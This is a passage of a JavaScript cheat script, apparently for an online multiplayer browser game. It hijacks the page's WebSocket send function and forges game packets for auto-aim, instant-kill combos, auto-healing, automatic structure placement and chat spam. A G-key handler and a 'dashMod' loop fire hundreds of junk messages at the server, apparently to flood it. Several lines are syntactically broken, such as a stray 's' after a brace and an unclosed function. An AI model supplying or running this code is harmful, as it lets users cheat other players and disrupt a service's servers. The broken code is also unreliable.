if(autosecondary == false && insta == false && gona == false) {
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [0, 21, 1]]);
}
}
if(autosecondary == false && insta == false && gona == false) {
doNewSend(["5", [secondary, true]]);
}
}
trap_a = Math.atan2(TrapCoord.y - myPlayer.y, TrapCoord.x - myPlayer.x);
}
}, 0);

setInterval( () => {
if (autosecondary == false && insta == false && hit === true && gona == false) {
if (PriReloaded) {
if(autosecondary == false && insta == false && gona == false) {
doNewSend(["13c", [1, 7, 0]]);
doNewSend(["13c", [0, 7, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 21, 1]]);
}
} else {
if(autosecondary == false && insta == false && gona == false) {
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
if(myPlayer.y < 2400){
doNewSend(["13c", [1, 15, 0]]);
doNewSend(["13c", [0, 15, 0]]);
} else if(myPlayer.y > 6850 && myPlayer.y < 7550){
doNewSend(["13c", [1, 31, 0]]);
doNewSend(["13c", [0, 31, 0]]);
} else if(isEnemyNear == true){
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
} else {
doNewSend(["13c", [1, 12, 0]]);
doNewSend(["13c", [0, 12, 0]]);
}
}
}
if(autosecondary == false && insta == false && gona == false) {
doNewSend(["5", [primary, true]]);
doNewSend(['c', [1]]);
doNewSend(['c', [0]]);
}
}
}, 0);

setInterval(() => {
if(w == true && d == false && a == false && millToggle == 1 && hit === false &&
lmao === false && (Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) + Math.pow
((myPlayer.x - TrapCoord.x), 2)) > 50 || intrap == false)) {
place(millType, + toRad(10));
place(millType, + toRad(90));
place(millType, + toRad(170));
}
}, 60);

setInterval(() => {
if(d == true && w == false && s == false && millToggle == 1 && hit === false &&
lmao === false && (Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) + Math.pow
((myPlayer.x - TrapCoord.x), 2)) > 50 || intrap == false)) {
place(millType, + toRad(260));
place(millType, + toRad(100));
place(millType, + toRad(180));
}
}, 60);

setInterval(() => {
if(s == true && a == false && d == false && millToggle == 1 && hit === false &&
lmao === false && (Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) + Math.pow
((myPlayer.x - TrapCoord.x), 2)) > 50 || intrap == false)) {
place(millType, + toRad(270));
place(millType, + toRad(-10));
place(millType, + toRad(190));
}
}, 60);

setInterval(() => {
if(a == true && w == false && s == false && millToggle == 1 && hit === false &&
lmao === false && (Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) + Math.pow
((myPlayer.x - TrapCoord.x), 2)) > 50 || intrap == false)) {
place(millType, + toRad(290));
place(millType, + toRad(80));
place(millType, + toRad(0));
}
}, 60);

setInterval(() => {
if(d == true && w == true && millToggle == 1 && hit === false && lmao === false
&& (Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) + Math.pow ((myPlayer.x -
TrapCoord.x), 2)) > 50 || intrap == false)) {
place(millType, + toRad(215));
place(millType, + toRad(55));
place(millType, + toRad(135));
}
}, 60);

setInterval(() => {
if(d == true && s == true && millToggle == 1 && hit === false && lmao === false
&& (Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) + Math.pow ((myPlayer.x -
TrapCoord.x), 2)) > 50 || intrap == false)) {
place(millType, + toRad(225));
place(millType, + toRad(305));
place(millType, + toRad(145));
}
}, 60);

setInterval(() => {
if(a == true && w == true && millToggle == 1 && hit === false && lmao === false
&& (Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) + Math.pow ((myPlayer.x -
TrapCoord.x), 2)) > 50 || intrap == false)) {
place(millType, + toRad(325));
place(millType, + toRad(45));
place(millType, + toRad(125));
}
}, 60);

setInterval(() => {
if(a == true && s == true && millToggle == 1 && hit === false && lmao === false
&& (Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) + Math.pow ((myPlayer.x -
TrapCoord.x), 2)) > 50 || intrap == false)) {
place(millType, + toRad(315));
place(millType, + toRad(35));
place(millType, + toRad(235));
}
}, 60);

setInterval( () => {
if (autosecondary == false && insta == false && gona == false && lmao === true) {
if (secondary!= 10) {
if (PriReloaded) {
if(autosecondary == false && insta == false && gona == false) {
doNewSend(['c', [1]]);
doNewSend(['c', [0]]);
doNewSend(["13c", [1, 40, 0]]);
doNewSend(["13c", [0, 40, 0]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 21, 1]]);
doNewSend(['c', [1]]);
doNewSend(['c', [0]]);
}
} else {
if(autosecondary == false && insta == false && gona == false) {
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
if(myPlayer.y < 2400){
doNewSend(["13c", [1, 15, 0]]);
doNewSend(["13c", [0, 15, 0]]);
} else if(myPlayer.y > 6850 && myPlayer.y < 7550){
doNewSend(["13c", [1, 31, 0]]);
doNewSend(["13c", [0, 31, 0]]);
} else if(isEnemyNear == true){
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
} else {
doNewSend(["13c", [1, 12, 0]]);
doNewSend(["13c", [0, 12, 0]]);
}
}
}
if(autosecondary == false && insta == false && gona == false) {
doNewSend(["5", [primary, true]]);
}
} else {
if (SecReloaded) {
if(autosecondary == false && insta == false && gona == false) {
doNewSend(['c', [1]]);
doNewSend(['c', [0]]);
doNewSend(["13c", [1, 40, 0]]);
doNewSend(["13c", [0, 40, 0]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
doNewSend(['c', [1]]);
doNewSend(['c', [0]]);
}
} else {
if(autosecondary == false && insta == false && gona == false) {
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
if(myPlayer.y < 2400){
doNewSend(["13c", [1, 15, 0]]);
doNewSend(["13c", [0, 15, 0]]);
} else if(myPlayer.y > 6850 && myPlayer.y < 7550){
doNewSend(["13c", [1, 31, 0]]);
doNewSend(["13c", [0, 31, 0]]);
} else if(isEnemyNear == true){
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
} else {
doNewSend(["13c", [1, 12, 0]]);
doNewSend(["13c", [0, 12, 0]]);
}
}
}
if(autosecondary == false && insta == false && gona == false) {
doNewSend(["5", [secondary, true]]);
}
}
doNewSend(['c', [1]]);
doNewSend(['c', [0]]);
}
}, 0);

setInterval(()=>{
if(KH == true){
doNewSend(["6", [7]]);
doNewSend(["6", [17]]);
doNewSend(["6", [31]]);
doNewSend(["6", [23]]);
doNewSend(["6", [10]]);
doNewSend(["6", [38]]);
doNewSend(["6", [4]]);
doNewSend(["6", [25]]);
}
}, 50);

setInterval(()=>{
if(KM == true){
doNewSend(["6", [7]]);
doNewSend(["6", [17]]);
doNewSend(["6", [31]]);
doNewSend(["6", [23]]);
doNewSend(["6", [9]]);
doNewSend(["6", [38]]);
doNewSend(["6", [4]]);
doNewSend(["6", [15]]);
}
}, 50);

setInterval(()=>{
if(DH == true){
doNewSend(["6", [7]]);
doNewSend(["6", [17]]);
doNewSend(["6", [31]]);
doNewSend(["6", [23]]);
doNewSend(["6", [10]]);
doNewSend(["6", [38]]);
doNewSend(["6", [28]]);
doNewSend(["6", [25]]);
}
}, 50);

setInterval(()=>{
if(DHKM == true){
doNewSend(["6", [7]]);
doNewSend(["6", [17]]);
doNewSend(["6", [31]]);
doNewSend(["6", [23]]);
doNewSend(["6", [10]]);
doNewSend(["6", [38]]);
}
}, 50);

setInterval(() => {
if(speed == true && insta == false && gona == false && lmao == false && hit ==
false && intrap == false) {
if(secondary == 14 && PriReloaded) {
doNewSend(["5", [secondary, true]]);
}else if((primary == 1 || primary == 2 || primary == 6 || primary == 7 ||
primary == 8) && secondary == 10 && SecReloaded) {
doNewSend(["5", [primary, true]]);
}else if((primary == 3 || primary == 4 || primary == 5) && secondary == 10
&& PriReloaded) {
doNewSend(["5", [secondary, true]]);
}
}
}, 0);

setInterval(() => {
if(autosecondary == true) {
doNewSend(["5", [secondary, true]]);
}
}, 0);

setInterval(() => {
if(spin < 360) {
spin = spin + 22.5
}if(spin == 360) {
spin = 0
}
}, 40);

setInterval(() => {
if(left == false) {
hit = false;
}
}, 0);

setInterval(() => {
if(right == false) {
lmao = false;
}
}, 0);

setInterval(() => {
if(reload == true && secondary == 15 && intrap == false && hit == false && lmao
== false) {
if(SecReloaded == false) {
doNewSend(["5", [secondary, true]]);
}else{
reload = false;
}
}
}, 0);

setInterval(() => {
if(hatToggle == 1) {
if(oldHat != normalHat) {
hat(normalHat);
console.log("Tried. - Hat")
}
if(oldAcc != normalAcc) {
acc(normalAcc);
console.log("Tried. - Acc")
}
oldHat = normalHat;
oldAcc = normalAcc
}
}, 25);

function normal() {
hat(normalHat);
acc(normalAcc);
}

function aim(x, y){


var cvs = document.getElementById("gameCanvas");
cvs.dispatchEvent(new MouseEvent("mousemove", {
clientX: x,
clientY: y

}));
}

let coreURL = new URL(window.location.href);


window.sessionStorage.force = coreURL.searchParams.get("fc");

//instaspeed 1 is 115 and 2 is 230


let KM = false
let KH = false
let DH = false
let DHKM = false
var speed = true;
var antiinsta = true;
var test = false;
var spin = 0;
var left = false;
var can_ab = true;
var right = false;
var gona = false;
var insta = false;
var dashMod = false;
var gona = false;
var chatgen;
var XD = true;
var reload = false;
var oldX;
var oldY;
var ab = true;
var hit = false;
var lmao = false;
var a = false;
var w = false;
var d = false;
var s = false;
var nearestEnemy;
var nearestEnemyAngle;
var isEnemyNear;
var primary;
var secondary;
var foodType;
var wallType;
var spikeType;
var millType;
var mineType;
var boostType;
var turretType;
var spawnpadType;
var autoaim = false;
var autoprimary = false;
var autosecondary = false;
var oldHat;
var oldAcc;
var enemiesNear;
var normalHat;
var normalAcc;
var ws;
var msgpack5 = msgpack;
var boostDir;
let myPlayer = {
id: null,
x: null,
y: null,
dir: null,
object: null,
weapon: null,
clan: null,
isLeader: null,
hat: null,
accessory: null,
isSkull: null
};
let trapid = null;
let trap_a = null;
let intrap = false;
let millToggle = 0;
let healSpeed = 0;
var messageToggle = 0;
var clanToggle = 0;
let healToggle = 1;
let hatToggle = 1;
let TrapCoord = {
x: null,
y: null
}
var enemy = {
x: null,
y: null
};

document.msgpack = msgpack;
function n(){
this.buffer = new Uint8Array([0]);
this.buffer.__proto__ = new Uint8Array;
this.type = 0;
}

document.addEventListener("mousedown", e => {
if (e.button == 0) {
left = true;
hit = true;
left = true;
}
if (e.button == 2) {
right = true;
lmao = true;
right = true;
}
})

document.addEventListener('mouseup', (e)=>{
if (e.button == 0) {
hit = false;
left = false;
reload = true;
doNewSend(["13c", [0, 0, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
if(myPlayer.y < 2400){
doNewSend(["13c", [1, 15, 0]]);
doNewSend(["13c", [0, 15, 0]]);
} else if(myPlayer.y > 6850 && myPlayer.y < 7550){
doNewSend(["13c", [1, 31, 0]]);
doNewSend(["13c", [0, 31, 0]]);
} else if(isEnemyNear == true){
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
} else {
doNewSend(["13c", [1, 12, 0]]);
doNewSend(["13c", [0, 12, 0]]);
}
}
if (e.button == 2) {
lmao = false;
right = false;
reload = true;
doNewSend(["13c", [0, 0, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
if(myPlayer.y < 2400){
doNewSend(["13c", [1, 15, 0]]);
doNewSend(["13c", [0, 15, 0]]);
} else if(myPlayer.y > 6850 && myPlayer.y < 7550){
doNewSend(["13c", [1, 31, 0]]);
doNewSend(["13c", [0, 31, 0]]);
} else if(isEnemyNear == true){
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
} else {
doNewSend(["13c", [1, 12, 0]]);
doNewSend(["13c", [0, 12, 0]]);
}
}
})

WebSocket.prototype.oldSend = WebSocket.prototype.send;
WebSocket.prototype.send = function(m){
if (!ws){
document.ws = this;

ws = this;
socketFound(this);
}
this.oldSend(m);
};

function socketFound(socket){
socket.addEventListener('message', function(message){
handleMessage(message);
});
}

function handleMessage(m){
let temp = msgpack5.decode(new Uint8Array(m.data));
let data;
if(temp.length > 1) {
data = [temp[0], ...temp[1]];
if (data[1] instanceof Array){
data = data;
}
} else {
data = temp;
}
let item = data[0];
if(!data) {return};

if(item === "io-init") {


let cvs = document.getElementById("gameCanvas");
width = cvs.clientWidth;
height = cvs.clientHeight;
$(window).resize(function() {
width = cvs.clientWidth;
height = cvs.clientHeight;
});
cvs.addEventListener("mousemove", e => {
mouseX = e.clientX;
mouseY = e.clientY;
});
}

if (item == "1" && myPlayer.id == null){


myPlayer.id = data[1];
}
if (item == "33") {
enemiesNear = [];
for(let i = 0; i < data[1].length / 13; i++) {
let playerInfo = data[1].slice(13*i, 13*i+13);
if(playerInfo[0] == myPlayer.id) {
myPlayer.x = playerInfo[1];
myPlayer.y = playerInfo[2];
myPlayer.dir = playerInfo[3];
myPlayer.object = playerInfo[4];
myPlayer.weapon = playerInfo[5];
myPlayer.clan = playerInfo[7];
myPlayer.isLeader = playerInfo[8];
myPlayer.hat = playerInfo[9];
myPlayer.accessory = playerInfo[10];
myPlayer.isSkull = playerInfo[11];
} else if(playerInfo[7] != myPlayer.clan || playerInfo[7] === null) {
enemiesNear.push(playerInfo);
}
}
}
if (item == "6") {
for(let i = 0; i < data[1].length / 8; i++){
let objectInfo = data[1].slice(8*i, 8*i+8);
if(objectInfo[6] == 15 && objectInfo[7] != myPlayer.id){
if(Math.sqrt(Math.pow((myPlayer.y-objectInfo[2]), 2) +
Math.pow((myPlayer.x-objectInfo[1]), 2)) < 100){
TrapCoord.x = objectInfo[1];
TrapCoord.y = objectInfo[2];
trap_a = Math.atan2(TrapCoord.y - myPlayer.y, TrapCoord.x -
myPlayer.x);
for (let i=0;i<36;i++){
let angle = myPlayer.dir + toRad(i * 10);
place(boostType, angle)
place(millType, angle)
}
trapid = objectInfo[0];
intrap = true;
}
}
}
}
if (dashMod == true) {
for (let i = 0, dash = ""; i < 250; i++) {
for(let i = 0; i < dash.length; i++) {
dash[i] = Math.floor(Math.random() * 320);
}
ws.send(1600000);
ws.send(dash);
}
}
/*if (item == "18" && isEnemyNear == false) {
place(foodType, angle)
}*/
if (item == "12") {
if(intrap == true) {
if(trapid == data[1]) {
doNewSend(["13c", [0, 0, 0]]);
doNewSend(["13c", [0, 0, 1]]);
TrapCoord.x = null;
TrapCoord.y = null;
reload = true;
intrap = false;
doNewSend(["c", [0]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
if(myPlayer.y < 2400){
doNewSend(["13c", [1, 15, 0]]);
doNewSend(["13c", [0, 15, 0]]);
} else if(myPlayer.y > 6850 && myPlayer.y < 7550){
doNewSend(["13c", [1, 31, 0]]);
doNewSend(["13c", [0, 31, 0]]);
} else if(isEnemyNear == true){
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
} else {
doNewSend(["13c", [1, 12, 0]]);
doNewSend(["13c", [0, 12, 0]]);
}
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
setTimeout(() => {
for (let i=0;i<36;i++){
let angle = nearestEnemyAngle + toRad(i * 10);
place(boostType, angle)
}
}, 50)
}
}
}
if (item == "12") {
if(Math.sqrt(Math.pow((myPlayer.y-nearestEnemy[2]), 2) + Math.pow((myPlayer.x-
nearestEnemy[1]), 2)) < 200) {
place(spikeType, nearestEnemyAngle)
for (let i=0;i<14;i++){
let angle = nearestEnemyAngle + toRad(i*5);
place(spikeType, angle)
}
for (let i=0;i<14;i++){
let angle = nearestEnemyAngle - toRad(i*5);
place(spikeType, angle)
}
}
for (let i=0;i<36;i++){
let angle = nearestEnemyAngle + toRad(i * 10);
place(boostType, angle)
}
}

isEnemyNear = false;
if(enemiesNear) {
nearestEnemy = enemiesNear.sort((a,b) => dist(a, myPlayer) - dist(b,
myPlayer))[0];
}
if(nearestEnemy) {
nearestEnemyAngle = Math.atan2(nearestEnemy[2]-myPlayer.y, nearestEnemy[1]-
myPlayer.x);
if(Math.sqrt(Math.pow((myPlayer.y-nearestEnemy[2]), 2) +
Math.pow((myPlayer.x-nearestEnemy[1]), 2)) < 300) {
isEnemyNear = true;
if(gona == false && hit == false && lmao == false && autoaim == false
&& myPlayer.hat != 7 && myPlayer.hat != 53) {
normalHat = 6;
};
}
}
//78
if(isEnemyNear == false && autoaim == false) {
normalAcc = 11;
if (myPlayer.y < 2400){
normalHat = 15;
} else if (myPlayer.y > 6850 && myPlayer.y < 7550){
normalHat = 31;
} else {
normalHat = 12;
}
}
if(gona == true) {
if(PriReloaded == false && myPlayer.wepon != primary) {
}else if (PriReloaded){
gona = false;
insta = true;
autoaim = true;
R();
}
}
var namegen = "Trpaslik_User";//generator()
var text = document.getElementById("enterGame").innerText;
if (text == "Enter Game" && XD == true) {
XD = false
doNewSend(["sp", [{name: namegen,moofoll: 1,skin:
Math.floor(Math.random()*10)}]]);
}
if(data[0] == "11"){
doNewSend(["sp", [{name: namegen,moofoll: 1,skin:
Math.floor(Math.random()*10)}]]);
}
if (!nearestEnemy) {
nearestEnemyAngle = myPlayer.dir;
}
if (autosecondary == false && gona == false && hit == false && lmao == false &&
SecReloaded && secondary == 15) {
doNewSend(["5", [primary, true]]);
}
if(item == "h" && data[1] == myPlayer.id) {
if(data[2] < 100 && data[2] > 0) {
setTimeout( () => {
place(foodType, null);
}, 70);

}
if(data[2] < 70 && data[2] > 0 && antiinsta == true && myPlayer.hat == 6)
{//anti insta
doNewSend(["13c", [1, 22, 0]]);
doNewSend(["13c", [0, 22, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [0, 19, 1]]);
place(foodType, null);
setTimeout( () => {
doNewSend(["ch", ["..."]]);
doNewSend(["13c", [0, 7, 0]]);
doNewSend(["13c", [0, 13, 1]]);
}, 222);
}
if(data[2] < 53 && data[2] > 0 && antiinsta == true) {
doNewSend(["13c", [1, 22, 0]]);
doNewSend(["13c", [0, 22, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [0, 19, 1]]);
place(foodType, null);
place(foodType, null);
setTimeout( () => {
doNewSend(["13c", [0, 7, 0]]);
doNewSend(["13c", [0, 13, 1]]);
}, 222);
}
}
update();
}
function doNewSend(sender){
ws.send(new Uint8Array(Array.from(msgpack5.encode(sender))));
}

function eMp_AnTi() {
doNewSend(["13c", [1, 22, 0]]);
doNewSend(["13c", [0, 22, 0]]);
setTimeout( () => {
heal(); heal();
doNewSend(["13c", [0, 0, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
if(myPlayer.y < 2400){
doNewSend(["13c", [1, 15, 0]]);
doNewSend(["13c", [0, 15, 0]]);
} else if(myPlayer.y > 6850 && myPlayer.y < 7550){
doNewSend(["13c", [1, 31, 0]]);
doNewSend(["13c", [0, 31, 0]]);
} else if(isEnemyNear == true){
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
} else {
doNewSend(["13c", [1, 12, 0]]);
doNewSend(["13c", [0, 12, 0]]);
}
}, 150);
}

function R() {
doNewSend(["13c", [0, 0, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["ch", [""]]);
doNewSend(["6", [4]]);
doNewSend(["6", [15]]);
autoprimary = true;
doNewSend(["13c", [0, 0, 0]]);
insta = true;
gona = false;
Autoaim = !0;
autoaim = true;
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["33", [autoaim = true]]);
autoaim = !0;
autoaim = true;
doNewSend(["33", [autoaim = true]]);
doNewSend(["5", [primary, true]]);
doNewSend(["5", [primary, true]]);
doNewSend(["5", [primary, true]]);
doNewSend(["5", [primary, true]]);
doNewSend(["13c", [0, 0, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [1, 7, 0]]);
doNewSend(["13c", [0, 7, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["c", [1]]);
setTimeout( () => {
autoprimary = false;
autosecondary = true;
doNewSend(["13c", [0, 0, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [1, 53, 0]]);
doNewSend(["13c", [0, 53, 0]]);
doNewSend(["5", [secondary, true]]);
doNewSend(["5", [secondary, true]]);
doNewSend(["5", [secondary, true]]);
doNewSend(["5", [secondary, true]]);
doNewSend(["5", [secondary, true]]);
}, 120);
setTimeout( () => {
autosecondary = false;
doNewSend(["5", [secondary, true]]);
doNewSend(["5", [secondary, true]]);
doNewSend(["5", [secondary, true]]);
doNewSend(["5", [secondary, true]]);
doNewSend(["5", [secondary, true]]);
doNewSend(["13c", [0, 0, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
if(myPlayer.y < 2400){
doNewSend(["13c", [1, 15, 0]]);
doNewSend(["13c", [0, 15, 0]]);
} else if(myPlayer.y > 6850 && myPlayer.y < 7550){
doNewSend(["13c", [1, 31, 0]]);
doNewSend(["13c", [0, 31, 0]]);
} else if(isEnemyNear == true){
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
} else {
doNewSend(["13c", [1, 12, 0]]);
doNewSend(["13c", [0, 12, 0]]);
}
doNewSend(["5", [secondary, true]]);
doNewSend(["5", [secondary, true]]);
doNewSend(["5", [secondary, true]]);
doNewSend(["5", [secondary, true]]);
doNewSend(["5", [secondary, true]]);
autoaim = false;
doNewSend(["33", [autoaim = false]]);
autoaim = !1;
autoaim = !1;
autoaim = false;
doNewSend(["33", [autoaim = false]]);
gona = false;
insta = false
doNewSend(["c", [0, null]]);
doNewSend(["c", [0, null]]);
doNewSend(["5", [secondary, true]]);
doNewSend(["5", [secondary, true]]);
doNewSend(["5", [secondary, true]]);
doNewSend(["5", [secondary, true]]);
doNewSend(["5", [secondary, true]]);
}, 260);
}
function acc(id) {
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [0, id, 1]]);
}

function hat(id) {
doNewSend(["13c", [0, id, 0]]);
}

function generator() {
var length = Math.floor(Math.random() * 162348972836523879832439628626932865);
var specChar = "a s car ehrr rrrr rr r k t fflo cd( )-/:?3 4099 327 8572403
56782 34 23 9 83 26 ".split('');
return(Math.random() * length).toString(36).substr(2).split('').map((char,
index) => {
const ToF = (prob = 4)=> Math.floor(Math.random() * prob);
return(ToF() ? '' : ' ') + (ToF(2) ?
specChar[Math.floor(Math.random()*specChar.length)] : (ToF(2) ?
char.toUpperCase() : char)) + (ToF() ? '' : ' ');
}).join('');
}

function mouseCoord() {
return Math.atan2(mouseY - height / 2, mouseX - width / 2);
}

function place(id, angle = Math.atan2(mouseY - height / 2, mouseX - width / 2)) {


doNewSend(["5", [id, null]]);
doNewSend(["c", [1, angle]]);
doNewSend(["c", [0, angle]]);
doNewSend(["5", [myPlayer.weapon, true]]);
}

function placeQ(id, angle = Math.atan2(mouseY - height / 2, mouseX - width / 2)) {


doNewSend(["5", [id, null]]);
doNewSend(["c", [1, boostDir]]);
doNewSend(["c", [0, boostDir]]);
doNewSend(["5", [myPlayer.weapon, true]]);
doNewSend(["2", [nearestEnemyAngle]]);
}

function heal() {
place(foodType, null)
place(foodType, null)
}

function boostSpike() {
if(boostDir == null) {
boostDir = nearestEnemyAngle;
}
place(spikeType, boostDir + toRad(90));
place(spikeType, boostDir - toRad(90));
place(boostType, boostDir);
doNewSend(["33", [boostDir]]);
}

var repeater = function(key, action, interval) {


let _isKeyDown = false;
let _intervalId = undefined;

return {
start(keycode) {
if(keycode == key && document.activeElement.id.toLowerCase() !==
'chatbox') {
_isKeyDown = true;
if(_intervalId === undefined) {
_intervalId = setInterval(() => {
action();
if(!_isKeyDown){
clearInterval(_intervalId);
_intervalId = undefined;
console.log("claered");
}
}, interval);
}
}
},

stop(keycode) {
if(keycode == key && document.activeElement.id.toLowerCase() !==
'chatbox') {
_isKeyDown = false;
}
}
};

const foodPlacer = repeater(81, () => {place(foodType, 0)}, 0);


const boostPlacer = repeater(70, () => {place(boostType)}, 0);
const fourSpawnpader = repeater(75, () => {
for (let i=0;i<36;i++){
let angle = toRad(i * 10);
place(spawnpadType, angle)
}
}, 50);
const millPlacer = repeater(78, () => {place(millType)}, 0);
const turretPlacer = repeater(72, () => {place(turretType)}, 0);
const spikePlacer = repeater(86, () => {place(spikeType)}, 0);
const aPlacer = repeater(84, () => {

}, 50);

document.addEventListener('keydown', (e)=>{
fourSpawnpader.start(e.keyCode);
boostPlacer.start(e.keyCode);
millPlacer.start(e.keyCode);
turretPlacer.start(e.keyCode);
spikePlacer.start(e.keyCode);
foodPlacer.start(e.keyCode);
aPlacer.start(e.keyCode);
if(e.keyCode == 192 && document.activeElement.id.toLowerCase() !== 'chatbox') {
doNewSend(["13c", [1, 56, 0]]);
doNewSend(["13c", [0, 56, 0]]);
}
if(e.keyCode == 71 && document.activeElement.id.toLowerCase() !== 'chatbox') {
for (let i = 0, dash = ""; i < 500; i++) {
for(let i = 0; i < dash.length; i++) {
dash[i] = Math.floor(Math.random() * 320);
}
ws.send(2000000);//00
//ws.send(160000000);
}
}
if(e.keyCode == 16 && document.activeElement.id.toLowerCase() !== 'chatbox') {
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
if(myPlayer.y < 2400){
doNewSend(["13c", [1, 15, 0]]);
doNewSend(["13c", [0, 15, 0]]);
} else if(myPlayer.y > 6850 && myPlayer.y < 7550){
doNewSend(["13c", [1, 31, 0]]);
doNewSend(["13c", [0, 31, 0]]);
} else if(isEnemyNear == true){
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
} else {
doNewSend(["13c", [1, 12, 0]]);
doNewSend(["13c", [0, 12, 0]]);
}
}
if (e.keyCode == 118 && document.activeElement.id.toLowerCase() !== 'chatbox')
{
if (ChatSpam) {
ChatSpam0 = setTimeout(function(){ ChatSpamFC0(); }, 0);
} else {
clearTimeout(ChatSpam0);
clearTimeout(ChatSpam1);
clearTimeout(ChatSpam2);
clearTimeout(ChatSpam3);
clearTimeout(ChatSpam4);
clearTimeout(ChatSpam5);
clearTimeout(ChatSpam6);
clearTimeout(ChatSpam7);
clearTimeout(ChatSpam8);
clearTimeout(ChatSpam9);
clearTimeout(ChatSpam10);
clearTimeout(ChatSpam11);
clearTimeout(ChatSpam12);
clearTimeout(ChatSpam13);
clearTimeout(ChatSpam14);
clearTimeout(ChatSpam15);
clearTimeout(ChatSpam16);
clearTimeout(ChatSpam17);
clearTimeout(ChatSpam18);
clearTimeout(ChatSpam19);
clearTimeout(ChatSpam20);
clearTimeout(ChatSpam21);
clearTimeout(ChatSpam22);
clearTimeout(ChatSpam23);
clearTimeout(ChatSpam24);
clearTimeout(ChatSpam25);
clearTimeout(ChatSpam26);
clearTimeout(ChatSpam27);
clearTimeout(ChatSpam28);
clearTimeout(ChatSpam29);
clearTimeout(ChatSpam30);
clearTimeout(ChatSpam31);
clearTimeout(ChatSpam32);
clearTimeout(ChatSpam33);
clearTimeout(ChatSpam34);
clearTimeout(ChatSpam35);
clearTimeout(ChatSpam36);
clearTimeout(ChatSpam37);
clearTimeout(ChatSpam38);
clearTimeout(ChatSpam39);
clearTimeout(ChatSpam40);
clearTimeout(ChatSpam41);
clearTimeout(ChatSpam42);
clearTimeout(ChatSpam43);
clearTimeout(ChatSpam44);
clearTimeout(ChatSpam45);
clearTimeout(ChatSpam46);
clearTimeout(ChatSpam47);
clearTimeout(ChatSpam48);
clearTimeout(ChatSpam49);
clearTimeout(ChatSpam50);
clearTimeout(ChatSpam51);
clearTimeout(ChatSpam52);
clearTimeout(ChatSpam53);
clearTimeout(ChatSpam54);
clearTimeout(ChatSpam55);
clearTimeout(ChatSpam56);
clearTimeout(ChatSpam57);
clearTimeout(ChatSpam58);
clearTimeout(ChatSpam59);
clearTimeout(ChatSpam60);
clearTimeout(ChatSpam61);
clearTimeout(ChatSpam62);
clearTimeout(ChatSpam63);
clearTimeout(ChatSpam64);
clearTimeout(ChatSpam65);
clearTimeout(ChatSpam66);
clearTimeout(ChatSpam67);
clearTimeout(ChatSpam68);
clearTimeout(ChatSpam69);
clearTimeout(ChatSpam70);
clearTimeout(ChatSpam71);
clearTimeout(ChatSpam72);
clearTimeout(ChatSpam73);
clearTimeout(ChatSpam74);
clearTimeout(ChatSpam75);
clearTimeout(ChatSpam76);
clearTimeout(ChatSpam77);
clearTimeout(ChatSpam78);
clearTimeout(ChatSpam79);
}
ChatSpam = !ChatSpam;
}
if(e.keyCode == 66 && document.activeElement.id.toLowerCase() !== 'chatbox') {
doNewSend(["13c", [1, 7, 0]]);
doNewSend(["13c", [0, 7, 0]]);
}s
if(e.keyCode == 87 && document.activeElement.id.toLowerCase() !== 'chatbox') {
w = true;
}
if(e.keyCode == 68 && document.activeElement.id.toLowerCase() !== 'chatbox') {
d = true;
}
if(e.keyCode == 83 && document.activeElement.id.toLowerCase() !== 'chatbox') {
s = true;
}
if(e.keyCode == 65 && document.activeElement.id.toLowerCase() !== 'chatbox') {
a = true; 67
}
if(e.keyCode == 82 && document.activeElement.id.toLowerCase() !== 'chatbox' &&
SecReloaded) {
gona = true;
insta = true;
}
